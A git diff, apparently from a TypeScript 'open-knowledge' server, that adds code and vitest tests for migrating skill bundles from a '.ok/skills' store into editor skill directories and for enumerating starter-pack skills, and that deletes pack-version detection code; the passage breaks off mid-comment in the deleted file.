+ test('a same-hash real copy at a host becomes the canonical; store dir removed', async () => {
+ const store = makeStore('dup', '# Same');
+ const hostDir = join(root, '.claude/skills/dup');
+ mkdirSync(join(root, '.claude/skills'), { recursive: true });
+ mkdirSync(hostDir, { recursive: true });
+ writeFileSync(join(hostDir, 'SKILL.md'), readFileSync(join(store, 'SKILL.md')));
+
+ const r = await migrateStoreSkillsInPlace({ projectDir: root, skillsRoot });
+ expect(r.migrated).toContainEqual({ name: 'dup', to: '.claude/skills/dup' });
+ expect(existsSync(join(skillsRoot, 'dup'))).toBe(false);
+ expect(readFileSync(join(hostDir, 'SKILL.md'), 'utf-8')).toContain('# Same');
+ });
+
+ test('NEVER clobbers: a differing real dir at the only target skips the skill', async () => {
+ makeStore('clash', '# Store version');
+ // The hub slot is occupied by a genuinely different skill; no projections.
+ const hub = join(root, '.agents/skills/clash');
+ mkdirSync(hub, { recursive: true });
+ writeFileSync(join(hub, 'SKILL.md'), '---\nname: clash\ndescription: other.\n---\n# DIFFERENT');
+
+ const r = await migrateStoreSkillsInPlace({ projectDir: root, skillsRoot });
+ // The occupied hub slot is never clobbered; the store version lands at a
+ // FREE concrete root instead (the fork then surfaces as a conflict).
+ expect(r.migrated).toContainEqual({ name: 'clash', to: '.claude/skills/clash' });
+ expect(readFileSync(join(root, '.claude/skills/clash/SKILL.md'), 'utf-8')).toContain(
+ '# Store version',
+ );
+ expect(readFileSync(join(hub, 'SKILL.md'), 'utf-8')).toContain('# DIFFERENT');
+ });
+
+ test('a foreign symlink at a host is never touched (D7)', async () => {
+ makeStore('linked', '# L');
+ // Foreign symlink in .claude pointing somewhere else entirely.
+ const elsewhere = join(root, 'elsewhere');
+ mkdirSync(elsewhere, { recursive: true });
+ writeFileSync(join(elsewhere, 'SKILL.md'), '---\nname: linked\ndescription: x.\n---\n# E');
+ mkdirSync(join(root, '.claude/skills'), { recursive: true });
+ symlinkSync(elsewhere, join(root, '.claude/skills/linked'), 'dir');
+
+ const r = await migrateStoreSkillsInPlace({ projectDir: root, skillsRoot });
+ // Foreign link isn't a usable target and no other root exists — the skill
+ // is SKIPPED (never clobbered, never inventing .agents), link untouched.
+ expect(r.migrated).toEqual([]);
+ expect(r.skipped).toContainEqual({ name: 'linked', reason: 'target-occupied:.claude/skills' });
+ expect(lstatSync(join(root, '.claude/skills/linked')).isSymbolicLink()).toBe(true);
+ expect(readFileSync(join(elsewhere, 'SKILL.md'), 'utf-8')).toContain('# E');
+ expect(existsSync(join(skillsRoot, 'linked', 'SKILL.md'))).toBe(true);
+ });
+
+ test('GLOBAL roots: a user-home store skill migrates against user editor dirs', async () => {
+ const { USER_HOST_ROOTS_BY_PRECEDENCE } = await import('./skill-migrate.ts');
+ const store = makeStore('worldly', '# G');
+ // Same-hash copy at pi's USER root (`.pi/agent/skills`, ≠ project `.pi/skills`).
+ const piDir = join(root, '.pi/agent/skills/worldly');
+ mkdirSync(piDir, { recursive: true });
+ writeFileSync(join(piDir, 'SKILL.md'), readFileSync(join(store, 'SKILL.md')));
+
+ const r = await migrateStoreSkillsInPlace({
+ projectDir: root,
+ skillsRoot,
+ hostRoots: USER_HOST_ROOTS_BY_PRECEDENCE,
+ });
+ expect(r.migrated).toContainEqual({ name: 'worldly', to: '.pi/agent/skills/worldly' });
+ expect(existsSync(join(skillsRoot, 'worldly'))).toBe(false);
+ expect(readFileSync(join(piDir, 'SKILL.md'), 'utf-8')).toContain('# G');
+ });
+
+ test('a placement of an in-place skill (inPlaceNames) is never migrated', async () => {
+ makeStore('placed', '# P');
+ const r = await migrateStoreSkillsInPlace({
+ projectDir: root,
+ skillsRoot,
+ inPlaceNames: new Set(['placed']),
+ });
+ expect(r.migrated).toEqual([]);
+ expect(existsSync(join(skillsRoot, 'placed', 'SKILL.md'))).toBe(true);
+ });
+
+ test('idempotent — an empty store is a no-op', async () => {
+ const r = await migrateStoreSkillsInPlace({ projectDir: root, skillsRoot });
+ expect(r.migrated).toEqual([]);
+ expect(r.skipped).toEqual([]);
+ });
+});
+
+describe('genuineInPlaceNames', () => {
+ test('a symlink projection INTO the store is excluded (so the drain migrates it)', () => {
+ makeStore('proj');
+ linkProjection('.claude/skills', 'proj'); // .claude/skills/proj → ../../.ok/skills/proj
+ // The scan would report `proj` as in-place (its canonical is the symlink),
+ // but that canonical resolves into the store — it's a projection, not a
+ // placement. Excluding it lets the drain relocate the store dir.
+ const names = genuineInPlaceNames(root, [{ name: 'proj', dir: '.claude/skills/proj' }]);
+ expect(names.has('proj')).toBe(false);
+ });
+
+ test('a GENUINE real in-place dir is included (drain must never clobber it)', () => {
+ const realDir = join(root, '.agents/skills/real-one');
+ mkdirSync(realDir, { recursive: true });
+ writeFileSync(join(realDir, 'SKILL.md'), '---\nname: real-one\ndescription: d\n---\n# R');
+ const names = genuineInPlaceNames(root, [{ name: 'real-one', dir: '.agents/skills/real-one' }]);
+ expect(names.has('real-one')).toBe(true);
+ });
+});
+
+describe('migrateStoreSkillsInPlace — a deliberate placement is not residue', () => {
+ test('a skill RECORDED at `.ok/skills` stays put; unrecorded residue still drains', async () => {
+ // `.ok/skills` is an ordinary custom root: you can place a skill there, and
+ // no other custom root has its contents relocated out from under it. The
+ // ledger is what separates "the user chose this folder" from "left over
+ // from the retired store" — residue has no ledger entry.
+ makeStore('chosen', '# Chosen');
+ makeStore('residue', '# Residue');
+ mkdirSync(join(root, '.claude', 'skills'), { recursive: true });
+ await recordSkillPlacement(root, 'chosen', { path: '.ok/skills/chosen', mode: 'copy' });
+
+ const r = await migrateStoreSkillsInPlace({ projectDir: root, skillsRoot });
+
+ expect(existsSync(join(skillsRoot, 'chosen', 'SKILL.md'))).toBe(true);
+ expect(r.skipped).toContainEqual({ name: 'chosen', reason: 'recorded-placement' });
+
+ expect(existsSync(join(skillsRoot, 'residue'))).toBe(false);
+ expect(r.migrated.map((m) => m.name)).toEqual(['residue']);
+ });
+});
diff --git a/packages/server/src/skill-migrate.ts b/packages/server/src/skill-migrate.ts
new file mode 100644
index 000000000..34acdf2cd
--- /dev/null
+++ b/packages/server/src/skill-migrate.ts
@@ -0,0 +1,287 @@
+/**
+ * One-shot store→in-place migration: relocate each project
+ * `.ok/skills/<name>` bundle OUT of the store to its precedence editor-dir path,
+ * so existing skills join the in-place model (versioned + listed at their real
+ * paths; the store dies by attrition).
+ *
+ * Target selection: the highest-`SKILL_CANONICAL_PRECEDENCE` host that already
+ * carries the skill (an OK-owned symlink projection, or a same-hash real copy);
+ * a skill projected nowhere lands in the `.agents/skills` hub (the precedence
+ * pick, mirroring the default-canonical rule).
+ *
+ * Safety (the reason this is boot-time + never destructive):
+ * - A DIFFERENT real dir or a foreign symlink at the target → the skill is
+ * SKIPPED entirely, everything left untouched.
+ * - Other hosts' OK-owned projections are replaced with real COPIES of the new
+ * canonical (the go-forward copy model) so editors keep loading it.
+ * - The install marker entry is dropped — the in-place scan is truth.
+ * - Lockfile entries stay: they're name-keyed and Update/Modified/Revert
+ * resolve the bundle's real dir dynamically.
+ */
+
+import { existsSync, lstatSync, readdirSync, realpathSync } from 'node:fs';
+import { dirname, join, relative, resolve, sep } from 'node:path';
+import {
+ EDITOR_PROJECT_SKILL_ROOT,
+ EDITOR_USER_SKILL_ROOT,
+ type EditorId,
+ SKILL_NAME_REGEX,
+} from '@inkeep/open-knowledge-core';
+import {
+ parseSkillDir,
+ SKILL_CANONICAL_PRECEDENCE,
+ type SkillHostId,
+} from '@inkeep/open-knowledge-core/skills-catalog';
+import { tracedCpSync, tracedMkdirSync, tracedRenameSync, tracedRmSync } from './fs-traced.ts';
+import { removeSkillInstall } from './installed-skills-marker.ts';
+import { getLogger } from './logger.ts';
+import { INTERNAL_BUNDLE_SKILL_NAMES } from './skill-bundles.ts';
+import { readSkillPlacements } from './skill-placements.ts';
+import { hostSkillsRootEscapes } from './skill-projection.ts';
+
+const logger = getLogger('skill-migrate');
+
+/** host → base-relative skills root, in canonical-precedence order. */
+function rootsByPrecedence(
+ map: Record<EditorId, string | null>,
+): ReadonlyArray<{ host: SkillHostId; root: string }> {
+ return [
+ { host: 'agents' as SkillHostId, root: '.agents/skills' },
+ ...(Object.entries(map) as [EditorId, string | null][])
+ .filter((e): e is [EditorId, string] => e[1] !== null)
+ .map(([host, root]) => ({ host: host as SkillHostId, root })),
+ ].sort((a, b) => {
+ const ra = SKILL_CANONICAL_PRECEDENCE.indexOf(a.host);
+ const rb = SKILL_CANONICAL_PRECEDENCE.indexOf(b.host);
+ return (
+ (ra === -1 ? SKILL_CANONICAL_PRECEDENCE.length : ra) -
+ (rb === -1 ? SKILL_CANONICAL_PRECEDENCE.length : rb) || a.host.localeCompare(b.host)
+ );
+ });
+}
+
+const HOST_ROOTS_BY_PRECEDENCE = rootsByPrecedence(EDITOR_PROJECT_SKILL_ROOT);
+
+/** The GLOBAL tier's roots: user-home editor dirs (`~/.claude/skills`, …). */
+export const USER_HOST_ROOTS_BY_PRECEDENCE = rootsByPrecedence(EDITOR_USER_SKILL_ROOT);
+
+/** Move a directory; copy+remove fallback ONLY on a cross-device rename. */
+function moveDir(from: string, to: string): void {
+ tracedMkdirSync(dirname(to), { recursive: true });
+ try {
+ tracedRenameSync(from, to);
+ } catch (err: unknown) {
+ if (!(err instanceof Error) || (err as NodeJS.ErrnoException).code !== 'EXDEV') throw err;
+ tracedCpSync(from, to, { recursive: true });
+ tracedRmSync(from, { recursive: true, force: true });
+ }
+}
+
+type HostState =
+ | { kind: 'absent' }
+ | { kind: 'ok-link' } // symlink resolving into the store dir (OK's projection)
+ | { kind: 'foreign-link' } // symlink OK did not create — never touched
+ | { kind: 'same-copy' }
+ | { kind: 'different' };
+
+function classifyHostEntry(entryPath: string, storeDirReal: string, storeHash: string): HostState {
+ let st: ReturnType<typeof lstatSync>;
+ try {
+ st = lstatSync(entryPath);
+ } catch {
+ return { kind: 'absent' };
+ }
+ if (st.isSymbolicLink()) {
+ try {
+ return realpathSync(entryPath) === storeDirReal
+ ? { kind: 'ok-link' }
+ : { kind: 'foreign-link' };
+ } catch {
+ // Dangling. An OK projection whose store source we're about to move would
+ // not dangle (source still present) — treat as foreign and leave it;
+ // reconcile's orphan pass owns dangling links.
+ return { kind: 'foreign-link' };
+ }
+ }
+ if (!st.isDirectory()) return { kind: 'different' };
+ return parseSkillDir(entryPath)?.contentHash === storeHash
+ ? { kind: 'same-copy' }
+ : { kind: 'different' };
+}
+
+export interface StoreMigrationResult {
+ migrated: Array<{ name: string; to: string }>;
+ skipped: Array<{ name: string; reason: string }>;
+}
+
+/**
+ * The subset of scanned in-place skill names that are GENUINE placements — a
+ * real dir, or a symlink NOT pointing into the `.ok/skills` store — for use as
+ * `migrateStoreSkillsInPlace`'s `inPlaceNames` skip-set.
+ *
+ * A same-name skill whose in-place canonical resolves INTO the store is a legacy
+ * store PROJECTION (the old `.claude/skills/<name> → ../../.ok/skills/<name>`
+ * model), NOT a placement. Passing it as `inPlaceNames` made the drain skip the
+ * store dir forever ("placement-of-in-place") so it never drained; excluding it
+ * lets the drain migrate the store dir out (move it to a real host + repoint the
+ * projections). `base` is the scope root (project `contentDir` / user `home`);
+ * `dir` is base-relative (the `InPlaceSkill.dir` shape).
+ */
+export function genuineInPlaceNames(
+ base: string,
+ entries: ReadonlyArray<{ name: string; dir: string }>,
+): Set<string> {
+ let storeReal: string;
+ try {
+ storeReal = realpathSync(resolve(base, '.ok', 'skills'));
+ } catch {
+ storeReal = resolve(base, '.ok', 'skills');
+ }
+ return new Set(
+ entries
+ .filter((s) => {
+ try {
+ return !realpathSync(resolve(base, s.dir)).startsWith(storeReal + sep);
+ } catch {
+ return true;
+ }
+ })
+ .map((s) => s.name),
+ );
+}
+
+/**
+ * Migrate every project `.ok/skills/<name>` bundle to an in-place editor-dir
+ * canonical. Best-effort + per-skill isolated: one skill's failure (or
+ * conflict-skip) never aborts the pass. Idempotent: an empty store is a no-op.
+ */
+export async function migrateStoreSkillsInPlace(opts: {
+ projectDir: string;
+ /** Absolute `.ok/skills` project store root. */
+ skillsRoot: string;
+ /** Names whose IDENTITY already lives in-place (registry canonicals). A
+ * `.ok/skills/<name>` dir sharing such a name is a user PLACEMENT of that
+ * skill (in-place wins the name), NOT a store resident — migrating it would
+ * clobber the placement on every boot. */
+ inPlaceNames?: ReadonlySet<string>;
+ /** Host roots to migrate INTO (default: project editor dirs). The GLOBAL
+ * tier passes {@link USER_HOST_ROOTS_BY_PRECEDENCE}. */
+ hostRoots?: ReadonlyArray<{ host: SkillHostId; root: string }>;
+}): Promise<StoreMigrationResult> {
+ const { projectDir, skillsRoot } = opts;
+ const inPlaceNames = opts.inPlaceNames ?? new Set<string>();
+ const hostRootsByPrecedence = opts.hostRoots ?? HOST_ROOTS_BY_PRECEDENCE;
+ const result: StoreMigrationResult = { migrated: [], skipped: [] };
+ if (!existsSync(skillsRoot)) return result;
+ let entries: string[];
+ try {
+ entries = readdirSync(skillsRoot);
+ } catch {
+ return result;
+ }
+
+ // Deliberate placements AT this root, from the ledger the placement verb
+ // writes. Residue from the retired store has no ledger entry, so this
+ // separates "the user chose this folder" from "this is left over".
+ const storeRootRel = relative(projectDir, skillsRoot).split(sep).join('/');
+ const recordedPlacementRoots = new Set<string>();
+ for (const [name, placements] of Object.entries(readSkillPlacements(projectDir))) {
+ for (const placement of placements) {
+ if (placement.path.split('/').slice(0, -1).join('/') === storeRootRel) {
+ recordedPlacementRoots.add(name);
+ }
+ }
+ }
+
+ for (const name of entries) {
+ try {
+ if (!SKILL_NAME_REGEX.test(name) || INTERNAL_BUNDLE_SKILL_NAMES.has(name)) continue;
+ if (inPlaceNames.has(name)) {
+ // A placement of an in-place skill — not ours to move. COUNTED so a
+ // store resident that never drains is visible in the boot log rather
+ // than silently skipped forever.
+ result.skipped.push({ name, reason: 'placement-of-in-place' });
+ continue;
+ }
+ if (recordedPlacementRoots.has(name)) {
+ // The user placed this skill here on purpose — the ledger says so, the
+ // same way it does for `.team/skills`. `.ok/skills` is an ordinary
+ // custom root now, and no other root has its contents relocated out
+ // from under a deliberate placement. Only UNRECORDED residue drains.
+ result.skipped.push({ name, reason: 'recorded-placement' });
+ continue;
+ }
+ const storeDir = resolve(skillsRoot, name);
+ if (!existsSync(join(storeDir, 'SKILL.md'))) continue;
+ const storeHash = parseSkillDir(storeDir)?.contentHash;
+ if (storeHash === undefined) continue;
+ const storeDirReal = realpathSync(storeDir);
+
+ // Classify every host slot once.
+ const states = hostRootsByPrecedence
+ .map(({ host, root }) => {
+ const hostRoot = resolve(projectDir, root);
+ return {
+ host,
+ root,
+ path: join(hostRoot, name),
+ escapes: hostSkillsRootEscapes(projectDir, hostRoot),
+ state: classifyHostEntry(join(hostRoot, name), storeDirReal, storeHash),
+ };
+ })
+ .filter((s) => !s.escapes);
+
+ // Target = highest-precedence host already carrying the skill (OK link or
+ // same-hash copy); an unprojected skill falls back to the first root that
+ // ALREADY EXISTS (never inventing `.agents` — hub adoption is the team's
+ // call), else `.claude/skills`.
+ const target =
+ states.find((s) => s.state.kind === 'ok-link' || s.state.kind === 'same-copy') ??
+ states.find(
+ (s) =>
+ s.state.kind !== 'different' &&
+ s.state.kind !== 'foreign-link' &&
+ existsSync(resolve(projectDir, s.root)),
+ ) ??
+ states.find((s) => s.host === 'claude');
+ if (!target) {
+ result.skipped.push({ name, reason: 'no-usable-target' });
+ continue;
+ }
+ if (target.state.kind === 'different' || target.state.kind === 'foreign-link') {
+ result.skipped.push({ name, reason: `target-occupied:${target.root}` });
+ continue;
+ }
+
+ // Materialize the canonical at the target.
+ if (target.state.kind === 'same-copy') {
+ // The target real dir already IS the bundle — the store dir is redundant.
+ tracedRmSync(storeDir, { recursive: true, force: true });
+ } else {
+ if (target.state.kind === 'ok-link') {
+ tracedRmSync(target.path, { recursive: true, force: true });
+ }
+ moveDir(storeDir, target.path);
+ }
+
+ // Other hosts: replace OK-owned projections (now pointing at the moved-away
+ // store path) with real copies of the new canonical. Same-hash copies stay
+ // (the scan dedups them); foreign links + differing dirs are never touched.
+ for (const s of states) {
+ if (s === target || s.state.kind !== 'ok-link') continue;
+ tracedRmSync(s.path, { recursive: true, force: true });
+ tracedCpSync(target.path, s.path, { recursive: true });
+ }
+
+ // The in-place scan is truth now — drop the install-marker entry.
+ await removeSkillInstall(projectDir, name);
+
+ result.migrated.push({ name, to: `${target.root}/${name}` });
+ logger.info({ skill: name, to: `${target.root}/${name}` }, 'migrated store skill in place');
+ } catch (err) {
+ result.skipped.push({ name, reason: 'error' });
+ logger.warn({ err, skill: name }, 'store-skill migration skipped one entry after error');
+ }
+ }
+ return result;
+}
diff --git a/packages/server/src/skill-pack-sources.test.ts b/packages/server/src/skill-pack-sources.test.ts
new file mode 100644
index 000000000..18bb9edff
--- /dev/null
+++ b/packages/server/src/skill-pack-sources.test.ts
@@ -0,0 +1,49 @@
+import { dirname, join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { describe, expect, test } from 'vitest';
+import { enumeratePackSkills } from './skill-pack-sources.ts';
+
+// Enumerate the SOURCE assets directly. `listPackSkillSources` / `findPackSkillSource`
+// probe a co-installed OK Desktop bundle and the built `dist/` tree first, so a test
+// that went through them would assert about whatever build happens to be on the
+// machine. The pure enumerator over the git-tracked assets is the real contract.
+const PACKS_DIR = join(dirname(fileURLToPath(import.meta.url)), '..', 'assets', 'skills', 'packs');
+
+describe('enumeratePackSkills', () => {
+ test('a flat pack ships exactly one skill, named for the pack', () => {
+ const skills = enumeratePackSkills('plain-notes', join(PACKS_DIR, 'plain-notes'));
+ expect(skills.map((s) => s.name)).toEqual(['open-knowledge-pack-plain-notes']);
+ expect(skills[0]?.excludeDirs).toEqual([]);
+ });
+
+ test('a decomposed pack ships its root skill first, then one skill per member dir', () => {
+ const skills = enumeratePackSkills('software-lifecycle', join(PACKS_DIR, 'software-lifecycle'));
+ expect(skills.map((s) => s.name)).toEqual([
+ 'open-knowledge-pack-software-lifecycle',
+ 'open-knowledge-pack-software-lifecycle-frame-a-proposal',
+ 'open-knowledge-pack-software-lifecycle-record-a-decision',
+ 'open-knowledge-pack-software-lifecycle-review-a-design',
+ 'open-knowledge-pack-software-lifecycle-write-a-postmortem',
+ 'open-knowledge-pack-software-lifecycle-write-a-spec',
+ ]);
+ });
+
+ test('the root skill excludes its member dirs; members exclude nothing', () => {
+ const [root, ...members] = enumeratePackSkills(
+ 'knowledge-base',
+ join(PACKS_DIR, 'knowledge-base'),
+ );
+ expect(root?.excludeDirs).toEqual(['consolidate', 'research']);
+ expect(members.map((m) => m.excludeDirs)).toEqual([[], []]);
+ // `references/` holds no SKILL.md, so it stays with the skill that owns it
+ // rather than being mistaken for a member.
+ expect(members.map((m) => m.name)).toEqual([
+ 'open-knowledge-pack-knowledge-base-consolidate',
+ 'open-knowledge-pack-knowledge-base-research',
+ ]);
+ });
+
+ test('a directory with no SKILL.md anywhere ships no skill', () => {
+ expect(enumeratePackSkills('nope', join(PACKS_DIR, 'does-not-exist'))).toEqual([]);
+ });
+});
diff --git a/packages/server/src/skill-pack-sources.ts b/packages/server/src/skill-pack-sources.ts
new file mode 100644
index 000000000..9c9544ad2
--- /dev/null
+++ b/packages/server/src/skill-pack-sources.ts
@@ -0,0 +1,86 @@
+/**
+ * Enumerate the skills a starter pack ships.
+ *
+ * A pack dir is one of two shapes, and both are supported everywhere a pack
+ * skill is resolved (install, seed plan, dist composition, update detection):
+ *
+ * packs/plain-notes/SKILL.md → one skill, `open-knowledge-pack-plain-notes`
+ *
+ * packs/software-lifecycle/SKILL.md → `open-knowledge-pack-software-lifecycle`
+ * packs/software-lifecycle/write-a-spec/SKILL.md → `…-software-lifecycle-write-a-spec`
+ *
+ * A member skill is any immediate subdirectory holding its own `SKILL.md`;
+ * `references/` and friends carry no `SKILL.md` and stay with the owning skill.
+ * Skill name == leaf directory name in every install target, per the Agent Skills
+ * standard, so the root skill's copy must EXCLUDE the member dirs (`excludeDirs`)
+ * or a member would ship twice, nested inside its parent.
+ */
+
+import { type Dirent, existsSync, readdirSync } from 'node:fs';
+import { join } from 'node:path';
+import { PACK_SKILL_PREFIX } from '@inkeep/open-knowledge-core';
+import { type ResolveBundledSkillDirOptions, resolveBundledSkillDir } from './build-skill-zip.ts';
+
+export interface PackSkillSource {
+ /** Frontmatter `name` == the leaf dir this skill installs as. */
+ readonly name: string;
+ readonly sourceDir: string;
+ /**
+ * Subdirectories of `sourceDir` that are member skills in their own right —
+ * omit them when copying this skill. Empty for member skills themselves.
+ */
+ readonly excludeDirs: readonly string[];
+}
+
+/** Immediate subdirectories of `packDir` that hold their own `SKILL.md`. */
+function memberDirNames(packDir: string): string[] {
+ let entries: Dirent[];
+ try {
+ entries = readdirSync(packDir, { withFileTypes: true });
+ } catch {
+ return [];
+ }
+ return entries
+ .filter((e) => e.isDirectory() && existsSync(join(packDir, e.name, 'SKILL.md')))
+ .map((e) => e.name)
+ .sort();
+}
+
+/** Pure enumeration over an already-resolved pack directory. */
+export function enumeratePackSkills(packId: string, packDir: string): PackSkillSource[] {
+ const members = memberDirNames(packDir);
+ const sources: PackSkillSource[] = [];
+ if (existsSync(join(packDir, 'SKILL.md'))) {
+ sources.push({
+ name: `${PACK_SKILL_PREFIX}${packId}`,
+ sourceDir: packDir,
+ excludeDirs: members,
+ });
+ }
+ for (const member of members) {
+ sources.push({
+ name: `${PACK_SKILL_PREFIX}${packId}-${member}`,
+ sourceDir: join(packDir, member),
+ excludeDirs: [],
+ });
+ }
+ return sources;
+}
+
+/**
+ * Every skill a pack ships, in install order (root skill first). Empty when the
+ * pack ships no skill at all — `resolveBundledSkillDir` throws for a pack that
+ * has no bundled directory, which is the "no skill" case, not an error.
+ */
+export function listPackSkillSources(
+ packId: string,
+ opts: ResolveBundledSkillDirOptions = {},
+): PackSkillSource[] {
+ let packDir: string;
+ try {
+ packDir = resolveBundledSkillDir(`packs/${packId}`, opts);
+ } catch {
+ return [];
+ }
+ return enumeratePackSkills(packId, packDir);
+}
diff --git a/packages/server/src/skill-pack-version.test.ts b/packages/server/src/skill-pack-version.test.ts
deleted file mode 100644
index 2c346c29c..000000000
--- a/packages/server/src/skill-pack-version.test.ts
+++ /dev/null
@@ -1,105 +0,0 @@
-import { existsSync, readdirSync, readFileSync } from 'node:fs';
-import { dirname, join } from 'node:path';
-import { fileURLToPath } from 'node:url';
-import { describe, expect, test } from 'vitest';
-import {
- bundledPackVersion,
- computePackUpdateStatus,
- isPackSkillName,
- packIdFromSkillName,
- packUpdateAvailable,
- readBundledPackSkill,
- readSkillVersion,
-} from './skill-pack-version.ts';
-
-const HERE = dirname(fileURLToPath(import.meta.url));
-const PACKS_DIR = join(HERE, '..', 'assets', 'skills', 'packs');
-// A real shipped pack so the bundled-source paths are exercised end-to-end.
-const SAMPLE_PACK = 'open-knowledge-pack-plain-notes';
-
-describe('pack-name helpers', () => {
- test('isPackSkillName matches only the reserved pack prefix', () => {
- expect(isPackSkillName('open-knowledge-pack-plain-notes')).toBe(true);
- expect(isPackSkillName('open-knowledge')).toBe(false);
- expect(isPackSkillName('my-skill')).toBe(false);
- });
- test('packIdFromSkillName strips the prefix, null for non-pack', () => {
- expect(packIdFromSkillName('open-knowledge-pack-plain-notes')).toBe('plain-notes');
- expect(packIdFromSkillName('my-skill')).toBeNull();
- });
-});
-
-describe('readSkillVersion', () => {
- test('reads a string version from frontmatter', () => {
- expect(readSkillVersion('---\nname: x\nversion: "0.18.0"\n---\nbody')).toBe('0.18.0');
- });
- test('undefined when absent / empty / no frontmatter', () => {
- expect(readSkillVersion('---\nname: x\n---\nbody')).toBeUndefined();
- expect(readSkillVersion('---\nname: x\nversion: " "\n---\nbody')).toBeUndefined();
- expect(readSkillVersion('no frontmatter here')).toBeUndefined();
- });
- test('undefined for a non-string version (we only compare strings)', () => {
- expect(readSkillVersion('---\nname: x\nversion: 18\n---\nbody')).toBeUndefined();
- });
-});
-
-describe('packUpdateAvailable (pure verdict)', () => {
- test('versionless installed copy → treated as v0 → update available', () => {
- expect(packUpdateAvailable(undefined, '0.18.0')).toBe(true);
- });
- test('installed older than bundled → update available', () => {
- expect(packUpdateAvailable('0.0.1', '0.18.0')).toBe(true);
- expect(packUpdateAvailable('0.17.9', '0.18.0')).toBe(true);
- });
- test('installed equal to bundled → no update', () => {
- expect(packUpdateAvailable('0.18.0', '0.18.0')).toBe(false);
- });
- test('installed newer than bundled → no update (never offer a downgrade)', () => {
- expect(packUpdateAvailable('999.0.0', '0.18.0')).toBe(false);
- expect(packUpdateAvailable('0.18.1', '0.18.0')).toBe(false);
- });
-});
-
-describe('bundled pack source (reads the server bundle; needs a built dist OR source assets)', () => {
- test('readBundledPackSkill returns verbatim content (+ version when stamped)', () => {
- const bundled = readBundledPackSkill(SAMPLE_PACK);
- expect(bundled).not.toBeNull();
- expect(bundled?.content).toContain('name: open-knowledge-pack-plain-notes');
- // Version is present once dist carries the stamp; tolerate an unbuilt/stale
- // dist locally (CI builds before tests) — assert format only when present.
- if (bundled?.version !== undefined) expect(bundled.version).toMatch(/^\d+\.\d+\.\d+$/);
- });
- test('null / undefined for non-pack or unknown pack', () => {
- expect(bundledPackVersion('my-skill')).toBeUndefined();
- expect(readBundledPackSkill('my-skill')).toBeNull();
- expect(readBundledPackSkill('open-knowledge-pack-does-not-exist')).toBeNull();
- });
-});
-
-describe('computePackUpdateStatus', () => {
- test('non-pack skill → empty (no fields, never badged)', () => {
- expect(computePackUpdateStatus('my-skill', '0.1.0')).toEqual({});
- });
- test('pack with a bundled version → carries bundledVersion + verdict', () => {
- const bundled = bundledPackVersion(SAMPLE_PACK);
- if (bundled === undefined) return; // unbuilt dist locally — covered by the pure verdict tests
- expect(computePackUpdateStatus(SAMPLE_PACK, undefined).updateAvailable).toBe(true);
- expect(computePackUpdateStatus(SAMPLE_PACK, '0.0.1').updateAvailable).toBe(true);
- expect(computePackUpdateStatus(SAMPLE_PACK, bundled).updateAvailable).toBe(false);
- expect(computePackUpdateStatus(SAMPLE_PACK, '999.0.0').updateAvailable).toBe(false);
- });
-});
-
-describe('authoring guard: every bundled pack declares a parseable version', () => {
- test('all packs/<id>/SKILL.md carry an x.y.z version', () => {
- expect(existsSync(PACKS_DIR)).toBe(true);
- const packs = readdirSync(PACKS_DIR, { withFileTypes: true }).filter((d) => d.isDirectory());
- expect(packs.length).toBeGreaterThan(0);
- for (const pack of packs) {
- const skillMd = join(PACKS_DIR, pack.name, 'SKILL.md');
- if (!existsSync(skillMd)) continue; // a pack may ship folders/templates only
- const version = readSkillVersion(readFileSync(skillMd, 'utf-8'));
- expect(version, `pack "${pack.name}" must declare a version`).toMatch(/^\d+\.\d+\.\d+$/);
- }
- });
-});
diff --git a/packages/server/src/skill-pack-version.ts b/packages/server/src/skill-pack-version.ts
deleted file mode 100644
index 05dd046e8..000000000
--- a/packages/server/src/skill-pack-version.ts
+++ /dev/null
@@ -1,130 +0,0 @@
-/**
- * Starter-pack skill version + update-detection helpers.
- *
- * A starter-pack skill (`open-knowledge-pack-<id>`) is installed once as
- * editable content, then never refreshed. To surface an opt-in "update
- * available" signal we compare the `version` frontmatter of the user's installed
- * copy against the version OK currently bundles. Pure detection — never writes;
- * the update itself is the `/api/skill/update` handler.
- *
- * Single owner for: the pack-name predicate, reading a SKILL.md `version`, the
- * bundled-version lookup, and the staleness verdict. Reuses existing single
- * sources — `PACK_SKILL_PREFIX` (skill-projection), `compareSemver`
- * (git-preflight), `resolveBundledSkillDir` (build-skill-zip), and core's
- * frontmatter primitives — rather than re-deriving any of them.
- */
-import { readFileSync } from 'node:fs';
-import { join } from 'node:path';
-import {
- parseFrontmatterYaml,
- stripFrontmatter,
- unwrapFrontmatterFences,
-} from '@inkeep/open-knowledge-core';
-import { resolveBundledSkillDir } from './build-skill-zip.ts';
-import { compareSemver } from './git-preflight.ts';
-import { PACK_SKILL_PREFIX } from './skill-projection.ts';
-
-/** True for the reserved starter-pack skill names (`open-knowledge-pack-*`). */
-export function isPackSkillName(name: string): boolean {
- return name.startsWith(PACK_SKILL_PREFIX);
-}
-
-/** The pack id embedded in a pack skill name, or `null` for non-pack names. */
-export function packIdFromSkillName(name: string): string | null {
- return isPackSkillName(name) ? name.slice(PACK_SKILL_PREFIX.length) : null;
-}
-
-/**
- * Read the `version` frontmatter scalar from raw SKILL.md text. Returns
- * `undefined` when absent, non-string, or the frontmatter is malformed — same
- * lenient parse the skills-list enumeration uses (core primitives, not a 4th
- * bespoke parser).
- */
-export function readSkillVersion(raw: string): string | undefined {
- const { frontmatter: fenced } = stripFrontmatter(raw);
- if (fenced === '') return undefined;
- const { map } = parseFrontmatterYaml(unwrapFrontmatterFences(fenced));
- const version = map?.version;
- return typeof version === 'string' && version.trim() !== '' ? version : undefined;
-}
-
-/**
- * Resolve the SERVER's own bundled pack skill dir (`checkDesktop:false` — this
- * server updates from the bundle it itself ships, deterministically; the seed's
- * desktop-prefers behavior is a separate CLI concern). `null` for non-pack names
- * or a pack that ships no skill. Reuses the lower-level `resolveBundledSkillDir`
- * single source (which throws when missing — caught here).
- */
-function bundledPackSkillDir(name: string): string | null {
- const packId = packIdFromSkillName(name);
- if (packId === null) return null;
- try {
- return resolveBundledSkillDir(`packs/${packId}`, { checkDesktop: false });
- } catch {
- return null;
- }
-}
-
-/**
- * The `version` OK currently bundles for a pack skill, or `undefined` when the
- * name isn't a pack, the pack ships no skill, or its SKILL.md carries no version.
- */
-export function bundledPackVersion(name: string): string | undefined {
- const dir = bundledPackSkillDir(name);
- if (dir === null) return undefined;
- try {
- return readSkillVersion(readFileSync(join(dir, 'SKILL.md'), 'utf-8'));
- } catch {
- return undefined;
- }
-}
-
-/**
- * Read OK's currently-bundled SKILL.md for a pack skill — the verbatim content
